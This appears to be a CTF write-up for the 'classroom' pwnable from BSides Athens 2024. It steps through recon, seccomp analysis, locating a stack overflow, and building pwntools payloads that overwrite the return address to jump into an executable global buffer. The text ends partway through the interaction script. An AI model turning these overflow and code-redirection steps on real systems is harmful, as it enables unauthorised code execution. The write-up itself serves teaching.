63 minute read

This is an overly documented approach to solving a binary challenge, a pwnable in particular. Another way to view it is as a (very) light introduction to pwnables, pwntools, gdb, AFL, and most probably poor decisions overall :)

Capture The Flag events are a fantastic way to sharpen your cybersecurity skills, and the one provided by HTB in the recent BSiDES Athens 2024 Security Conference was no exception.

Among the various challenges presented, there was a pwnable titled classroom. Although it was rated easy - some may say fundamental - it saw only three solves during the event 1. What i want to achieve with this high level walkthrough of the classroom pwn, is to describe the thought process, the tools, and offer insights that could help beginners and intermediate participants to enhance their pwn(tm).

Target

Checksec

First up, what are we up against? We can use checksec to check what security settings does our binary support.

~/D/W/b/pwn $ pwn checksec classroom 
[*] '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

We got plenty of info already. The important pieces here are that:

  • “No PIE”, the binary is not relocatable and will always be loaded at a fixed address, in this case, 0x400000 – Take a note, this does not mean that memory allocations happening during runtime will be at a predictable place, nor that same addresses will occur across runs.
  • We get RWX segments, executable stack, no stack canaries, and the NX bit not set. In a nutshell, in which ever buffer we are writting at, high chances are that it is going to be executable space (#not).

Interacting with the target

If we run the target locally we have what it seems to be a very simple program:

~/D/W/b/pwn $ ./classroom 
Kids must follow the rules!
1. No cheating!   ❌
2. No swearing!   ❌
3. No 🚩 sharing! ❌

Is everything clear? (y/n)
> y

Alright! Do you have any more questions? (y/n)
> y
Feel free to ask!
>> 
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
> y
Feel free to ask!
>> y
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
> y
Feel free to ask!
>> y
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
> y
Feel free to ask!
>> y
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
> y
Enough questions for today class...
Well, maybe a last one and then we finish!
> y
Have a nice day!!
fish: Job 1, './classroom' terminated by signal SIGSYS (Bad system call)

Hmm, a bit strict for a program, but a couple of prompts, and plently of space to pass input. An interesting part is that we are exiting due to a bad system call. This typically occurs when a process is implementing a sandboxing mechanism of sorts. If we run the program again in strace we get:

~/D/W/b/pwn $ strace ./classroom
execve("./classroom", ["./classroom"], 0x7ffe250f6ef0 /* 32 vars */) = 0
brk(NULL)                               = 0x2531000
...[snip]...                    = 2
write(1, "Have a nice day!!\n", 18Have a nice day!!
)     = 18
exit_group(0)                           = 231
+++ killed by SIGSYS +++
fish: Job 1, 'strace ./classroom' terminated by signal SIGSYS (Bad system call)
~/D/W/b/pwn [SIGSYS]$ 

Indeed the very last thing the program executed is a the exit_group() system call.

If we take a closer look at strace we see that the program sets some seccomp rules and does implement a sandbox by limiting the interaction it can have with the OS - and most probably the exit_group system call is not allowed.

...[snip]...
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f588af44000, 102291)          = 0
alarm(127)                              = 0
seccomp(SECCOMP_SET_MODE_STRICT, 0x1, NULL) = -1 EINVAL (Invalid argument)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_LOG, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_LOG]) = 0
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_KILL_PROCESS]) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_SPEC_ALLOW, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_NEW_LISTENER, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_NOTIF_SIZES, 0, {seccomp_notif=80, seccomp_notif_resp=24, seccomp_data=64}) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC_ESRCH, NULL) = -1 EFAULT (Bad address)
getrandom("\x46\xa8\x58\x67\x54\xa9\xa0\x73", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x11d0000
...[snip]...

We can use seccomp-tool to getter a better understanding of the rules applied:

~/D/W/b/pwn $ seccomp-tools dump ./classroom 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000000f  if (A == rt_sigreturn) goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

The only syscalls we can use are read(), open(), write(), and exit(). It’s limited, but it’s more than what we need.

Static Analysis

There are many tools we can use for such a task, but let’s make our life easy and use ghidra, which offers code decompilation.

The main function of classroom is as follows:

undefined8 main(void)

{
  size_t sVar1;
  
  setup();
  sec();
  sVar1 = strlen(s_Kids_must_follow_the_rules!_1._N_00400db0); 
  write(1,s_Kids_must_follow_the_rules!_1._N_00400db0,sVar1);
  read(0,ans,0x60);                                             # read our input into a 0x60 bytes buffer
  kinder();
  sVar1 = strlen("Have a nice day!!\n");
  write(1,"Have a nice day!!\n",sVar1);
  return 0;
}

Fairly straight forward.

  • In setup() the process un-sets stream buffering for FDs 0 and 1, and sets a SIGALRM for ~2 minutes, you snooze you lose i guess.
  • In sec() the process sets the seccomp rules described earlier.
  • What is interesting is that the input we submit to the Kids must follow the rules (y/n) question is read into a buffer (labeled ans) capable of the holding up to 0x60 hex bytes (or 96 in decimal)

The next function is kinder(),

void kinder(void)

{
  size_t sVar1;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  char local_5d [5];
  undefined local_58 [32];
  char *local_38;
  char *local_30;
  char *local_28;
  char *local_20;
  char *local_18;
  int local_c;
  
  local_c = 0;
  local_18 = "Have a nice day!\n";
  local_20 = "Very interesting question! Let me think about it..\n";
  local_28 = "\nAlright! Do you have any more questions? (y/n)\n> ";
  local_30 = "Feel free to ask!\n>> ";
  local_38 = "Enough questions for today class...\nWell, maybe a last one and then we finish!\n> " ;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  while (local_c == 0) {
    counter = counter + 1;
    sVar1 = strlen(local_28);                     # Very interesting question! Let me think about it..
    write(1,local_28,sVar1);
    read(0,local_5d,4);                           # read 4 bytes into local_5d
    if (counter == 5) {
      local_c = 1;                                # last time we are in while when local_c = 1
      sVar1 = strlen(local_38);
      write(1,local_38,sVar1);
      read(0,&local_88,0x14c);
    }
    else if ((local_5d[0] == 'y') || (local_5d[0] == 'Y')) {
      sVar1 = strlen(local_30);
      write(1,local_30,sVar1);
      read(0,local_58,0x1f);
      sVar1 = strlen(local_20);
      write(1,local_20,sVar1);
    }
    else {
      local_c = 1;                               # if we answer anything other that y or Y we return to main
    }
  }
  return;
}

Again, this is short function with a main loop that interacts with the user.

The main idea is that when the counter is 5, it will read 14c hex bytes (332 in dec) of user input into the address pointed by &local88. The disassembly of the specific line read(0,&local_88,0x14c); provides a better view:

00400a32 48  8d  45  80              LEA    RAX => local_88 ,[RBP-0x80]
00400a36 ba  4c  01  00  00          MOV    EDX ,0x14c
00400a3b 48  89  c6                  MOV    RSI ,RAX
00400a3e bf  00  00  00  00          MOV    EDI ,0x0
00400a43 e8  f8  fc  ff  ff          CALL   <EXTERNAL>::read   ssize_t read(int __fd, void * __

&local88 points 80 hex bytes (128 in dec) from the function base address. Given that read() provides no security checks and does not respect function boundaries, we can overwrite the function base address at offset 128 of our input string and keep writing data on the stack for 332-128 bytes more.

Note: it is worth mentioning that ChatGPT correctly identifies the buffer overflow, although it fails to describe it correctly :p

gpt

Dynamic Analysis

Let’s validate our findings so far.

We are creating a string of 360 chars, which should be enough to overflow the buffer, and submit it at as a reply to the 5th question.

~/D/W/b/pwn $ pwn cyclic 360
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad

~/D/W/b/pwn $ ./classroom 
Kids must follow the rules!
1. No cheating!   ❌
2. No swearing!   ❌
3. No 🚩 sharing! ❌

Is everything clear? (y/n)
> y 
...[snip]...
Enough questions for today class...
Well, maybe a last one and then we finish!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad
fish: Job 1, './classroom' terminated by signal SIGSEGV (Address boundary error)

As expected, there’s a segmentation fault. Let’s turn to pwndbg

~/D/W/b/pwn $ gdb ./classroom 
...[snip]...
pwndbg> r
...[snip]...
Enough questions for today class...
Well, maybe a last one and then we finish!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400aea in kinder ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*RAX  0x14c
*RBX  0x7fffffffe1c8 —▸ 0x7fffffffe480 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
*RCX  0x7ffff7ea3a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x14c
 RDI  0
*RSI  0x7fffffffe010 ◂— 0x6161616261616161 ('aaaabaaa')
*R8   0xff00
*R9   7
*R10  7
*R11  0x246
 R12  0
*R13  0x7fffffffe1d8 —▸ 0x7fffffffe4af ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
*R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2c0 ◂— 0
 R15  0
*RBP  0x6261616962616168 ('haabiaab')
*RSP  0x7fffffffe098 ◂— 0x6261616b6261616a ('jaabkaab')
*RIP  0x400aea (kinder+410) ◂— ret 
───────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
 0x400aea <kinder+410>    ret                                <0x6261616b6261616a>










─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000 rsp 0x7fffffffe098 ◂— 0x6261616b6261616a ('jaabkaab')
01:0008     0x7fffffffe0a0 ◂— 0x6261616d6261616c ('laabmaab')
02:0010     0x7fffffffe0a8 ◂— 0x6261616f6261616e ('naaboaab')
03:0018     0x7fffffffe0b0 ◂— 0x6261617162616170 ('paabqaab')
04:0020     0x7fffffffe0b8 ◂— 0x6261617362616172 ('raabsaab')
05:0028     0x7fffffffe0c0 ◂— 0x6261617562616174 ('taabuaab')
06:0030     0x7fffffffe0c8 ◂— 0x6261617762616176 ('vaabwaab')
07:0038     0x7fffffffe0d0 ◂— 0x6261617962616178 ('xaabyaab')
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
  0         0x400aea kinder+410
   1 0x6261616b6261616a
   2 0x6261616d6261616c
   3 0x6261616f6261616e
   4 0x6261617162616170
   5 0x6261617362616172
   6 0x6261617562616174
   7 0x6261617762616176
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

At the SIGSEGV we get 3 registers pointing to memory we can write at:

~/D/W/b/pwn $ cyclic -l 0x6161616261616161 # $rsi
0
~/D/W/b/pwn $ cyclic -l 0x6261616962616168 # $rbp
128
~/D/W/b/pwn $ cyclic -l 0x6261616b6261616a # $rsp -- ret overwrite
136

If we run again by setting a breakpoint exactly after read() returns we get:

Alright! Do you have any more questions? (y/n)
> y
Enough questions for today class...
Well, maybe a last one and then we finish!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaa

Breakpoint 1, 0x0000000000400a48 in kinder ()                                     # exactly after read(0,&local_88,0x14c);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*RAX  0x14c
*RBX  0x7fffffffe1c8 —▸ 0x7fffffffe480 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
*RCX  0x7ffff7ea3a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x14c
 RDI  0
*RSI  0x7fffffffe010 ◂— 0x6161616261616161 ('aaaabaaa')
*R8   0xff00
*R9   7
*R10  7
*R11  0x246
 R12  0
*R13  0x7fffffffe1d8 —▸ 0x7fffffffe4af ◂— 'USER=kidd'
*R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2c0 ◂— 0
 R15  0
*RBP  0x7fffffffe090 ◂— 0x6261616962616168 ('haabiaab')
*RSP  0x7fffffffe010 ◂— 0x6161616261616161 ('aaaabaaa')
*RIP  0x400a48 (kinder+248) ◂— jmp 0x400ade
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────── 
  0x400a48 <kinder+248>    jmp    kinder+398                  <kinder+398>
    
   0x400ade <kinder+398>    cmp    dword ptr [rbp - 4], 0     0x62616167 - 0x0     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
   0x400ae2 <kinder+402>    je     kinder+107                  <kinder+107>
 
   0x400ae8 <kinder+408>    nop    
   0x400ae9 <kinder+409>    leave  
   0x400aea <kinder+410>    ret    
 
   0x400aeb <setup>         push   rbp
   0x400aec <setup+1>       mov    rbp, rsp
   0x400aef <setup+4>       mov    rax, qword ptr [rip + 0x20153a]     RAX, [stdin@@GLIBC_2.2.5]
   0x400af6 <setup+11>      mov    ecx, 0                              ECX => 0
   0x400afb <setup+16>      mov    edx, 2                              EDX => 2
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000 rsi rsp 0x7fffffffe010 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008-078     0x7fffffffe018 ◂— 0x6161616461616163 ('caaadaaa')
02:0010-070     0x7fffffffe020 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018-068     0x7fffffffe028 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020-060     0x7fffffffe030 ◂— 0x6161616a61616169 ('iaaajaaa')
05:0028-058     0x7fffffffe038 ◂— 0x6161616c6161616b ('kaaalaaa')
06:0030-050     0x7fffffffe040 ◂— 0x6161616e6161616d ('maaanaaa')
07:0038-048     0x7fffffffe048 ◂— 0x616161706161616f ('oaaapaaa')
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
  0         0x400a48 kinder+248
   1 0x6261616b6261616a
   2 0x6261616d6261616c
   3 0x6261616f6261616e
   4 0x6261617162616170
   5 0x6261617362616172
   6 0x6261617562616174
   7 0x6261617762616176
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Examining memory at $rbp-128.

pwndbg> x/90x $rbp-128-16
0x7fffffffe000: 0x006032a0      0x00000000      0x00400a48      0x00000000
0x7fffffffe010: 0x61616161      0x61616162      0x61616163      0x61616164
0x7fffffffe020: 0x61616165      0x61616166      0x61616167      0x61616168
0x7fffffffe030: 0x61616169      0x6161616a      0x6161616b      0x6161616c
0x7fffffffe040: 0x6161616d      0x6161616e      0x6161616f      0x61616170
0x7fffffffe050: 0x61616171      0x61616172      0x61616173      0x61616174
0x7fffffffe060: 0x61616175      0x61616176      0x61616177      0x61616178
0x7fffffffe070: 0x61616179      0x6261617a      0x62616162      0x62616163
0x7fffffffe080: 0x62616164      0x62616165      0x62616166      0x62616167
0x7fffffffe090: 0x62616168      0x62616169      0x6261616a      0x6261616b
0x7fffffffe0a0: 0x6261616c      0x6261616d      0x6261616e      0x6261616f
0x7fffffffe0b0: 0x62616170      0x62616171      0x62616172      0x62616173
0x7fffffffe0c0: 0x62616174      0x62616175      0x62616176      0x62616177
0x7fffffffe0d0: 0x62616178      0x62616179      0x6361617a      0x63616162
0x7fffffffe0e0: 0x63616163      0x63616164      0x63616165      0x63616166
0x7fffffffe0f0: 0x63616167      0x63616168      0x63616169      0x6361616a
0x7fffffffe100: 0x6361616b      0x6361616c      0x6361616d      0x6361616e
0x7fffffffe110: 0x6361616f      0x63616170      0x63616171      0x63616172
0x7fffffffe120: 0x63616173      0x63616174      0x63616175      0x63616176
0x7fffffffe130: 0x63616177      0x63616178      0x63616179      0x6461617a
0x7fffffffe140: 0x64616162      0x64616163      0x64616164      0x64616165
0x7fffffffe150: 0x64616166      0x64616167      0x64616168      0x00007fff
0x7fffffffe160: 0x00400b38      0x00000000

And we get our full payload, unmangled. Excellent!

Stepping forward until the ret instruction and we identify the bytes stored at $rbp+8 0x7fffffffe098 being the return address at ret:

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400aea in kinder ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────── 
 RAX  0x14c
 RBX  0x7fffffffe1c8 —▸ 0x7fffffffe480 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7ffff7ea3a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x14c
 RDI  0
 RSI  0x7fffffffe010 ◂— 0x6161616261616161 ('aaaabaaa')
 R8   0xff00
 R9   7
 R10  7
 R11  0x246
 R12  0
 R13  0x7fffffffe1d8 —▸ 0x7fffffffe4af ◂— 'USER=kidd'
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2c0 ◂— 0
 R15  0
 RBP  0x6261616962616168 ('haabiaab')
 RSP  0x7fffffffe098 ◂— 0x6261616b6261616a ('jaabkaab')
 RIP  0x400aea (kinder+410) ◂— ret 
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
   0x400a48 <kinder+248>    jmp    kinder+398                  <kinder+398>
    
   0x400ade <kinder+398>    cmp    dword ptr [rbp - 4], 0
   0x400ae2 <kinder+402>    je     kinder+107                  <kinder+107>
 
   0x400ae8 <kinder+408>    nop    
   0x400ae9 <kinder+409>    leave  
  0x400aea <kinder+410>    ret                                <0x6261616b6261616a>



───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000 rsp 0x7fffffffe098 ◂— 0x6261616b6261616a ('jaabkaab')
01:0008     0x7fffffffe0a0 ◂— 0x6261616d6261616c ('laabmaab')
02:0010     0x7fffffffe0a8 ◂— 0x6261616f6261616e ('naaboaab')
03:0018     0x7fffffffe0b0 ◂— 0x6261617162616170 ('paabqaab')
04:0020     0x7fffffffe0b8 ◂— 0x6261617362616172 ('raabsaab')
05:0028     0x7fffffffe0c0 ◂— 0x6261617562616174 ('taabuaab')
06:0030     0x7fffffffe0c8 ◂— 0x6261617762616176 ('vaabwaab')
07:0038     0x7fffffffe0d0 ◂— 0x6261617962616178 ('xaabyaab')
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
  0         0x400aea kinder+410
   1 0x6261616b6261616a
   2 0x6261616d6261616c
   3 0x6261616f6261616e
   4 0x6261617162616170
   5 0x6261617362616172
   6 0x6261617562616174
   7 0x6261617762616176
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

0x6261616b6261616a is not a valid address, hence the segmentation fault.

So, how can we abuse this? There are a couple of options, perhaps first off, finding some gadgets that jmp close to $rsi (since there we have our full payload), but the binary is relatively small and not many gadgets are available. Additionally, we can also assume that ASLR is enabled at the target so hardcodding a stack address won’t exactly cut it.

What we also have is the ans buffer identified earlier, that holds the input provided in the first answer we submitted. This is an interesting prospect since the binary is compiled with NO-PIE. So, the ans buffer will be located at the very same address across runs.

Looking further into ans with ghidra, we observe that ans is referenced in two locations in the program, in the function main() and the function kids_are_not_allowed_here()

ghidra

What is even more interesting is a CALL instruction at 0x40094b to the RDX register that points to the ans buffer.

The decompilation of the kids_are_not_allowed_here function provides more info:

void kids_are_not_allowed_here(void)

{
  size_t __n;
  
  __n = strlen(s_What_are_you_doing_here?!_Kids_a_00400c68);
  write(1,s_What_are_you_doing_here?!_Kids_a_00400c68,__n);
  (*(code *)ans)();
  return;
}

You might have seen the (*(code *)ans)(); or a similar notation in shellcode runners. Essentially, this is type casting of the buffer ans to a function pointer (void *), and calling it.

The disassembly provides a much clearer picture:

**************************************************************
*                          FUNCTION                          *
**************************************************************
                             undefined kids_are_not_allowed_here()
             undefined         AL:1               <RETURN>
             undefined8        Stack[-0x10]:8     local_10                  XREF[3]:     0040091b(W), 
                                                                                         0040091f(R), 
                                                                                         0040092e(R)  
                             kids_are_not_allowed_here                       XREF[3]:     Entry Point(*), 00400e5c, 00400f38(*)  
        0040090c 55                        PUSH   RBP
        0040090d 48 89 e5                  MOV    RBP,RSP
        00400910 48 83 ec 10               SUB    RSP,0x10
        00400914 48 8d 05 4d 03 00 00      LEA    RAX,[s_What_are_you_doing_here?!_Kids_a_00400c   = "What are you doing here?! Kid
        0040091b 48 89 45 f8               MOV    qword ptr [RBP + local_10],RAX=>s_What_are_you   = "What are you doing here?! Kid
        0040091f 48 8b 45 f8               MOV    RAX,qword ptr [RBP + local_10]
        00400923 48 89 c7                  MOV    RDI=>s_What_are_you_doing_here?!_Kids_a_00400c   = "What are you doing here?! Kid
        00400926 e8 f5 fd ff ff            CALL   <EXTERNAL>::strlen                               size_t strlen(char * __s)
        0040092b 48 89 c2                  MOV    RDX,RAX
        0040092e 48 8b 45 f8               MOV    RAX,qword ptr [RBP + local_10]
        00400932 48 89 c6                  MOV    RSI=>s_What_are_you_doing_here?!_Kids_a_00400c   = "What are you doing here?! Kid
        00400935 bf 01 00 00 00            MOV    EDI,0x1
        0040093a e8 c1 fd ff ff            CALL   <EXTERNAL>::write                                ssize_t write(int __fd, void * _
        0040093f 48 8d 15 fa 16 20 00      LEA    RDX,[ans]
        00400946 b8 00 00 00 00            MOV    EAX,0x0
        0040094b ff d2                     CALL   RDX=>ans
        0040094d 90                        NOP
        0040094e c9                        LEAVE
        0040094f c3                        RET

In a nutshell, jumping to a location within the, or at, function kids_are_not_allowed_here(), will grant us code execution. (Anywhere before 0x0040093f that is.)

Exploit development

We already have a general idea of the approach we would like to follow:

  1. Write a payload (#1) to provide as a response to the Kids must follow the rules (y/n) question. This will be stored at the ans buffer.
  2. Overflow the buffer at kinder function 5th question with a payload (#2) overwritting $rbp and $rsp registers,
  3. Continue executiue, eventaully overwriting the ret address of the kinder funtion with the kids_are_not_allowed_here function address.

Pwntools

One can start blank, modify everybody’s favorite exploit template, or use pwntools embedded template, we’ll use the later.

~/D/W/b/pwn $ pwn template --host 192.168.13.37 --port 8000 ./classroom | tee sploit.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 192.168.13.37 --port 8000 ./classroom
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './classroom')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '192.168.13.37'
port = int(args.PORT or 8000)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

io.interactive()

~/D/W/b/pwn $ 

We’ll modify the template to:

  • handle input/output with the classroom binary.
  • send payload1 at Kids must follow the rules (y/n) question
  • send payload2 at the kinder function 5th question

For payload2 we will modify the template payload from:

# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

to the following:

payload2 = fit({
    136: p64(0x40090c)
    }, filler=asm(shellcraft.nop()), length=400)

this will produce a byte array of 400 nops inclduing a 64bit packed value at offset 136.

As discussed earlier, at that offset exists the return value we aim to overwrite, and we are overwritting with the kids_are_not_allowed_here() function address: 0x40090c

In ipython3 we can verify:

~/D/W/b/pwn $ ipython3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.20.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: payload2 = fit({
    ...: 136: p64(0x40090c)
    ...: }, filler=asm(shellcraft.nop()), length=400)

In [3]: print(hexdump(payload2))
00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
*
00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
*
00000190

For payload1 we can use something similar to the below:

shellcode = '' # shellcode placeholder

payload1 = fit({
    0: shellcode
    }, filler=cyclic(92), length=92)

And in ipython we can verify:

In [22]: shellcode = '' # shellcode placeholder

In [23]: payload1 = fit({
    ...: 0: shellcode
    ...: }, filler=cyclic(92), length=92)
<ipython-input-23-ea8b22b47255>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  payload1 = fit({

In [24]: print(hexdump(payload1))
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  aaaabaaacaaadaaa
00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  eaaafaaagaaahaaa
00000020  69 61 61 61  6a 61 61 61  6b 61 61 61  6c 61 61 61  iaaajaaakaaalaaa
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  maaanaaaoaaapaaa
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 61  qaaaraaasaaataaa
00000050  75 61 61 61  76 61 61 61  77 61 61 61               uaaavaaawaaa
0000005c

Finally, for handling input and output we can add before io.interactive() something like the below to handle interaction with the binary:

io.recvuntil(b'> ')    # receive everything and wait for prompt
io.sendline(payload1)  # send payload1 at the `Is everything clear?                             (y/n)` question
io.recvuntil(b'> ')    # continue receiving and sending data until                              the 5th question 
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
